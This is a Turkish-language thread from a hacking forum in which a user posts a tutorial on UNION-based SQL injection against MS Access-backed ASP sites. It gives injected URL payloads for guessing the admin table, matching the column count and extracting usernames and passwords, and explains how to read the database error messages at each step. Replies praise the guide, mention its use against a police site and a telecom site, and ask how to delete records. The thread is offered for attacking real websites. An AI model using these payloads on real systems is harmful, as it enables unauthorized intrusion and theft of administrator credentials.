Forum
Aktif konular
Üyeler
Kurallar
Arama
Tahribat.com Forumları 
Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri 
Sql Unionla Site Hackleme Sql Unionla Site Hackleme
-
S.a Arkadaslar Ben Un-nam3 Sizlere Access Sistemlerinde ki Bir Acık Olan Union Mantıgını Göstereceğim Öncellikle Access Tabanlı Sitelerde Update Olmaz Bu Yöntemde Tablo ve Kolon Adlarını Tahmin Edeceğiz Örnegin;
www.xxx.com/unnam3.asp?id=12 Şeklinde Bir Hedef Sitemiz Var Simdi Union Yöntemiyle Bu Sitedeki Bilgileri Cekeceğiz
www.xxx.com/unnam3.asp?id=12+union+select+0+from+admin Yazdıkdan Sonra Söyle Bir Hata Alırsak
-The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly.
Admin Tablosu Yoktur Ve Artık Hicbirsey Yapamayız
-The number of columns in the two selected tables or queries of a union query do not match.
Eger Böyle Bir Hata Alırsak Admin Tablosu Vardır ama Tabloyu Tuturamamısızdır Baska Tablo Adı Deneyeceğiz.İkinci Hatayi Aldıysak Tablo Adı Dogru Demektir Simdide Kolon Sayılarını Esitleyecegiz. Hata Değişene Kadar 0 Koymaya Devam Edeceğiz.Hata Degistikten Sonra yada Hata Almassak Simdiki İsimiz Kolon Adlarını Tahmin Etmek Olacak
Ornegin www.xxx.com/unnam3.asp?id=12++union+select+username,passw ord,0,0,0+from+admin
Gibi
İns Yararlı Olmusumdur İleride Videosunuda Cekerim Begenirseniz Devamı Gelir
Dokuman Tamamen Tarafımca Tahribat Adına Yazılmıstır
-
http://www.tahribat.com/forumdisplayfolder.asp?highlight=sql&folderid=48063
Hocam yanlış anlama da daha önce swat ayrıntılı bi anlatım yaptı :)
Hemde Diyarbakır'ın Polis sitesinde :D
-
daha önce verilmiş olsa da adam emek harcamış yazmış, ellerine sağlık kardeş ;)
-
çok sağol, güzel bi döküman
-
emege saygı
-
telekomun 1 nolu sitesindede vardı ama adiler admin girişini oyle bi klasore atmışlarki bulamadık :D
-
Sorun Degil Verildiyse Sql Server Root Verilmediyse Veya Baska Yontemler Hakkında Dokuman Yazarım Yorumlar İcinde Eyw : )
-
güzel paylaşım eline sağlık
-
bunda silme işlemini nası yapcaz diyelim, 20 id li dosya var nası silcez onu ?
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla